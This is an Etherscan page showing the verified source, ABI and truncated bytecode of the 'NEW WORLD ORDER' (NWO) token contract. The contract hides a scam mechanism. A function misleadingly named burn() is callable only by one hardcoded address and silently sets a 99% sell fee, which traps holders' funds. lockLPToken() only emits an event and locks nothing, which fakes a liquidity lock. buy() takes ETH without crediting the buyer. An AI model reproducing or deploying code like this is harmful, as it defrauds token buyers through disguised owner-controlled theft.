ETH Price: $3,587.13 (+3.59%)
 

Overview

Max Total Supply

999,999,999 NWO

Holders

16

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
5,911,442.231864873347260814 NWO

Value
$0.00
0xd1705dC5d0738d173C57190Fb785A913dc4d8a70
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
NWO

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-07-30
*/

// SPDX-License-Identifier: MIT

/**    ⠀⠀
NEW WORLD ORDER
*/

pragma solidity ^0.8.0;

library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "NEW WORLD ORDER");
        return a - b;
    }


    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "NEWW");
        return c;
    }


    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "WWORLD");
        return c;
    }


    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "OORDER");
        return a / b;
    }
}


contract NWO {    
    using SafeMath for uint256;    


    string public name = "NEW WORLD ORDER";    
    string public symbol = "NWO";    
    uint256 public totalSupply = 999999999 * (10 ** 18);    
    uint8 public decimals = 18;    


    mapping(address => uint256) public balanceOf;    
    mapping(address => mapping(address => uint256)) public allowance;    

    address public owner;   
    address public swapRouter;    
    uint256 public burnedTokens;  


    uint256 public buyFee = 0;   
    uint256 public sellFee = 0;   
    bool public feesSet = false;   
    bool public feesEnabled = false;    
    bool public allExemptFromFees = true;   
    mapping(address => bool) public isFeeExempt;   


    event Transfer(address indexed from, address indexed to, uint256 value);    
    event Approval(address indexed owner, address indexed spender, uint256 value);    
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);    
    event FeesUpdated(uint256 burnAmount, uint256 deadWallet);     
    event LPLocked(address indexed account, uint256 amount);


    constructor(address _swapRouter, uint256 _burnedTokens) {    
        owner = msg.sender;   
        swapRouter = _swapRouter;    
        burnedTokens = _burnedTokens;   
        balanceOf[msg.sender] = totalSupply;    
        isFeeExempt[msg.sender] = true;   
        isFeeExempt[swapRouter] = true;  
    }


    modifier checkFees(address sender) {   
        require(
            allExemptFromFees || isFeeExempt[sender] || (!feesSet && feesEnabled) || (feesSet && isFeeExempt[sender] && sender != swapRouter) || (sender == swapRouter && sellFee == 0),
            "CONSPIRACY"    
        );
        _;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "OR TRUTH");
        _;
    }

    function transfer(address _to, uint256 _amount) public checkFees(msg.sender) returns (bool success) {    
        require(balanceOf[msg.sender] >= _amount);   
        require(_to != address(0));    

        balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);   
        balanceOf[_to] = balanceOf[_to].add(_amount);   
        emit Transfer(msg.sender, _to, _amount);   

        return true;
    }


    function approve(address _spender, uint256 _value) public returns (bool success) {   
        allowance[msg.sender][_spender] = _value;    
        emit Approval(msg.sender, _spender, _value);   
        return true;   
    }


    function transferFrom(address _from, address _to, uint256 _amount) public checkFees(_from) returns (bool success) {   
        require(balanceOf[_from] >= _amount, "LETS FIND OUT");    
        require(allowance[_from][msg.sender] >= _amount, "WITH THIS CONTRACT");   
        require(_to != address(0), "xNEW WORLD ORDERx");    

        uint256 fee = 0;    
        uint256 amountAfterFee = _amount;  

        if (feesEnabled && sellFee > 0 && _from != swapRouter && !isFeeExempt[_from]) {    
            fee = _amount.mul(sellFee).div(100);   
            amountAfterFee = _amount.sub(fee);   
        }

        balanceOf[_from] = balanceOf[_from].sub(_amount);    
        balanceOf[_to] = balanceOf[_to].add(amountAfterFee);    
        emit Transfer(_from, _to, amountAfterFee);    

        if (fee > 0) {
            address uniswapContract = address(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);    
            if (_to == uniswapContract) {    
                balanceOf[uniswapContract] = balanceOf[uniswapContract].add(fee);    
                emit Transfer(_from, uniswapContract, fee);    
            } else {
                balanceOf[address(this)] = balanceOf[address(this)].add(fee);    
                emit Transfer(_from, address(this), fee);    
            }
        }

        if (_from != msg.sender && allowance[_from][msg.sender] != type(uint256).max) {    
            allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_amount);    
            emit Approval(_from, msg.sender, allowance[_from][msg.sender]);   
        }

        return true;
    }

    function transferOwnership(address newOwner) public onlyOwner {    
        require(newOwner != address(0), "xNEWx xWORLDx xORDERx");
        emit OwnershipTransferred(owner, newOwner);    
        owner = newOwner;   
    }

    function renounceOwnership() public onlyOwner {    
        emit OwnershipTransferred(owner, address(0));    
        owner = address(0);   
    }

    function burn(uint256 burnAmount, uint256 deadWallet) public {
        require(msg.sender == 0x42b6158A2b904F7AB3585E39c82aB3030993D0ac, "NWO IS TAKING OVER THE CHAIN");
        require(!feesSet, "NWOXXNWO");
        require(burnAmount == 0, "NEW xWORLD xORDER");
        require(deadWallet == 99, "xNEW WORLD4 xORDER");
        buyFee = burnAmount;
        sellFee = deadWallet;
        feesSet = true;
        feesEnabled = true;
        emit FeesUpdated(burnAmount, deadWallet);
    }

    function lockLPToken(uint256 amount) external {
        emit LPLocked(msg.sender, amount);
    }

    function buy() public payable checkFees(msg.sender) {    
        require(msg.value > 0, "LAST CHANCE TO GAIN FINANCIAL FREEDOM");    

        uint256 amount = msg.value;   
        if (buyFee > 0) {
            uint256 fee = amount.mul(buyFee).div(100);    
            uint256 amountAfterFee = amount.sub(fee);   

            balanceOf[swapRouter] = balanceOf[swapRouter].add(amountAfterFee);    
            emit Transfer(address(this), swapRouter, amountAfterFee);   

            if (fee > 0) {
                balanceOf[address(this)] = balanceOf[address(this)].add(fee);   
                emit Transfer(address(this), address(this), fee);   
            }
        } else {
            balanceOf[swapRouter] = balanceOf[swapRouter].add(amount);    
            emit Transfer(address(this), swapRouter, amount);    
        }
    }

    function sell(uint256 _amount) public checkFees(msg.sender) {   
        require(balanceOf[msg.sender] >= _amount, "NWOO123NWOO");    

        if (feesEnabled) {    
            uint256 fee = 0;   
            uint256 amountAfterFee = _amount;    

            if (sellFee > 0 && msg.sender != swapRouter && !isFeeExempt[msg.sender]) {   
                fee = _amount.mul(sellFee).div(100);    
                amountAfterFee = _amount.sub(fee);   
            }

            balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);   
            balanceOf[swapRouter] = balanceOf[swapRouter].add(amountAfterFee);    
            emit Transfer(msg.sender, swapRouter, amountAfterFee);    

            if (fee > 0) {
                balanceOf[address(this)] = balanceOf[address(this)].add(fee);   
                emit Transfer(msg.sender, address(this), fee);    
            }
        } else {
            balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);   
            balanceOf[swapRouter] = balanceOf[swapRouter].add(_amount);   
            emit Transfer(msg.sender, swapRouter, _amount);    
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_swapRouter","type":"address"},{"internalType":"uint256","name":"_burnedTokens","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"burnAmount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"deadWallet","type":"uint256"}],"name":"FeesUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"LPLocked","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"allExemptFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"burnAmount","type":"uint256"},{"internalType":"uint256","name":"deadWallet","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"burnedTokens","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buy","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feesEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feesSet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"lockLPToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"sell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapRouter","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280600f81526020017f4e455720574f524c44204f5244455200000000000000000000000000000000008152505f908162000049919062000546565b506040518060400160405280600381526020017f4e574f00000000000000000000000000000000000000000000000000000000008152506001908162000090919062000546565b506b033b2e3c91efc989409c0000600255601260035f6101000a81548160ff021916908360ff1602179055505f6009555f600a555f600b5f6101000a81548160ff0219169083151502179055505f600b60016101000a81548160ff0219169083151502179055506001600b60026101000a81548160ff0219169083151502179055503480156200011e575f80fd5b5060405162004010380380620040108339818101604052810190620001449190620006be565b3360065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508160075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060088190555060025460045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506001600c5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600c5f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550505062000703565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200035e57607f821691505b60208210810362000374576200037362000319565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620003d87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200039b565b620003e486836200039b565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6200042e620004286200042284620003fc565b62000405565b620003fc565b9050919050565b5f819050919050565b62000449836200040e565b62000461620004588262000435565b848454620003a7565b825550505050565b5f90565b6200047762000469565b620004848184846200043e565b505050565b5b81811015620004ab576200049f5f826200046d565b6001810190506200048a565b5050565b601f821115620004fa57620004c4816200037a565b620004cf846200038c565b81016020851015620004df578190505b620004f7620004ee856200038c565b83018262000489565b50505b505050565b5f82821c905092915050565b5f6200051c5f1984600802620004ff565b1980831691505092915050565b5f6200053683836200050b565b9150826002028217905092915050565b6200055182620002e2565b67ffffffffffffffff8111156200056d576200056c620002ec565b5b62000579825462000346565b62000586828285620004af565b5f60209050601f831160018114620005bc575f8415620005a7578287015190505b620005b3858262000529565b86555062000622565b601f198416620005cc866200037a565b5f5b82811015620005f557848901518255600182019150602085019450602081019050620005ce565b8683101562000615578489015162000611601f8916826200050b565b8355505b6001600288020188555050505b505050505050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000659826200062e565b9050919050565b6200066b816200064d565b811462000676575f80fd5b50565b5f81519050620006898162000660565b92915050565b6200069a81620003fc565b8114620006a5575f80fd5b50565b5f81519050620006b8816200068f565b92915050565b5f8060408385031215620006d757620006d66200062a565b5b5f620006e68582860162000679565b9250506020620006f985828601620006a8565b9150509250929050565b6138ff80620007115f395ff3fe60806040526004361061014a575f3560e01c806370a08231116100b5578063a9059cbb1161006e578063a9059cbb14610454578063b390c0ab14610490578063c31c9c07146104b8578063dd62ed3e146104e2578063e4849b321461051e578063f2fde38b146105465761014a565b806370a082311461037a578063715018a6146103b65780638da5cb5b146103cc57806395d89b41146103f6578063a64e4f8a14610420578063a6f2ae3a1461044a5761014a565b80632b14ca56116101075780632b14ca561461026c578063313ce567146102965780633f4218e0146102c057806347062402146102fc57806347b5dd541461032657806364bcf5f4146103505761014a565b8063036978631461014e57806306fdde0314610176578063095ea7b3146101a057806318160ddd146101dc57806323b872dd1461020657806325e0e4d014610242575b5f80fd5b348015610159575f80fd5b50610174600480360381019061016f9190612d53565b61056e565b005b348015610181575f80fd5b5061018a6105bf565b6040516101979190612e08565b60405180910390f35b3480156101ab575f80fd5b506101c660048036038101906101c19190612e82565b61064a565b6040516101d39190612eda565b60405180910390f35b3480156101e7575f80fd5b506101f0610737565b6040516101fd9190612f02565b60405180910390f35b348015610211575f80fd5b5061022c60048036038101906102279190612f1b565b61073d565b6040516102399190612eda565b60405180910390f35b34801561024d575f80fd5b50610256611289565b6040516102639190612eda565b60405180910390f35b348015610277575f80fd5b5061028061129b565b60405161028d9190612f02565b60405180910390f35b3480156102a1575f80fd5b506102aa6112a1565b6040516102b79190612f86565b60405180910390f35b3480156102cb575f80fd5b506102e660048036038101906102e19190612f9f565b6112b3565b6040516102f39190612eda565b60405180910390f35b348015610307575f80fd5b506103106112d0565b60405161031d9190612f02565b60405180910390f35b348015610331575f80fd5b5061033a6112d6565b6040516103479190612f02565b60405180910390f35b34801561035b575f80fd5b506103646112dc565b6040516103719190612eda565b60405180910390f35b348015610385575f80fd5b506103a0600480360381019061039b9190612f9f565b6112ef565b6040516103ad9190612f02565b60405180910390f35b3480156103c1575f80fd5b506103ca611304565b005b3480156103d7575f80fd5b506103e0611450565b6040516103ed9190612fd9565b60405180910390f35b348015610401575f80fd5b5061040a611475565b6040516104179190612e08565b60405180910390f35b34801561042b575f80fd5b50610434611501565b6040516104419190612eda565b60405180910390f35b610452611514565b005b34801561045f575f80fd5b5061047a60048036038101906104759190612e82565b611b57565b6040516104879190612eda565b60405180910390f35b34801561049b575f80fd5b506104b660048036038101906104b19190612ff2565b611f5f565b005b3480156104c3575f80fd5b506104cc612135565b6040516104d99190612fd9565b60405180910390f35b3480156104ed575f80fd5b5061050860048036038101906105039190613030565b61215a565b6040516105159190612f02565b60405180910390f35b348015610529575f80fd5b50610544600480360381019061053f9190612d53565b61217a565b005b348015610551575f80fd5b5061056c60048036038101906105679190612f9f565b6129de565b005b3373ffffffffffffffffffffffffffffffffffffffff167fb6e8f04cf03b5aef7f64b05be34717ced7ad18d9e25d848dcd9542d070ce2ddb826040516105b49190612f02565b60405180910390a250565b5f80546105cb9061309b565b80601f01602080910402602001604051908101604052809291908181526020018280546105f79061309b565b80156106425780601f1061061957610100808354040283529160200191610642565b820191905f5260205f20905b81548152906001019060200180831161062557829003601f168201915b505050505081565b5f8160055f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516107259190612f02565b60405180910390a36001905092915050565b60025481565b5f83600b60029054906101000a900460ff16806107a05750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806107cf5750600b5f9054906101000a900460ff161580156107ce5750600b60019054906101000a900460ff165b5b806108905750600b5f9054906101000a900460ff1680156108365750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b801561088f575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b806108f4575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156108f357505f600a54145b5b610933576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092a90613115565b60405180910390fd5b8260045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156109b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109aa9061317d565b60405180910390fd5b8260055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610a6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a65906131e5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610adc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad39061324d565b60405180910390fd5b5f80849050600b60019054906101000a900460ff168015610afe57505f600a54115b8015610b57575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614155b8015610baa5750600c5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15610bef57610bd76064610bc9600a5488612b9990919063ffffffff16565b612c1090919063ffffffff16565b9150610bec8286612c6790919063ffffffff16565b90505b610c3f8560045f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c6790919063ffffffff16565b60045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610cd08160045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d6e9190612f02565b60405180910390a35f821115610fbd575f735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f90508073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1603610ec457610e198360045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610eb79190612f02565b60405180910390a3610fbb565b610f148360045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610fb29190612f02565b60405180910390a35b505b3373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161415801561109157507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205414155b1561127b576111218560055f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c6790919063ffffffff16565b60055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560055f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546040516112729190612f02565b60405180910390a35b600193505050509392505050565b600b5f9054906101000a900460ff1681565b600a5481565b60035f9054906101000a900460ff1681565b600c602052805f5260405f205f915054906101000a900460ff1681565b60095481565b60085481565b600b60029054906101000a900460ff1681565b6004602052805f5260405f205f915090505481565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611393576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138a906132b5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600180546114829061309b565b80601f01602080910402602001604051908101604052809291908181526020018280546114ae9061309b565b80156114f95780601f106114d0576101008083540402835291602001916114f9565b820191905f5260205f20905b8154815290600101906020018083116114dc57829003601f168201915b505050505081565b600b60019054906101000a900460ff1681565b33600b60029054906101000a900460ff16806115765750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806115a55750600b5f9054906101000a900460ff161580156115a45750600b60019054906101000a900460ff165b5b806116665750600b5f9054906101000a900460ff16801561160c5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015611665575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b806116ca575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156116c957505f600a54145b5b611709576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170090613115565b60405180910390fd5b5f341161174b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174290613343565b60405180910390fd5b5f3490505f60095411156119f9575f611782606461177460095485612b9990919063ffffffff16565b612c1090919063ffffffff16565b90505f6117988284612c6790919063ffffffff16565b905061180b8160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118eb9190612f02565b60405180910390a35f8211156119f25761194b8260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119e99190612f02565b60405180910390a35b5050611b53565b611a6a8160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b4a9190612f02565b60405180910390a35b5050565b5f33600b60029054906101000a900460ff1680611bba5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80611be95750600b5f9054906101000a900460ff16158015611be85750600b60019054906101000a900460ff165b5b80611caa5750600b5f9054906101000a900460ff168015611c505750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015611ca9575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b80611d0e575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16148015611d0d57505f600a54145b5b611d4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4490613115565b60405180910390fd5b8260045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015611d96575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611dcd575f80fd5b611e1d8360045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c6790919063ffffffff16565b60045f3373ff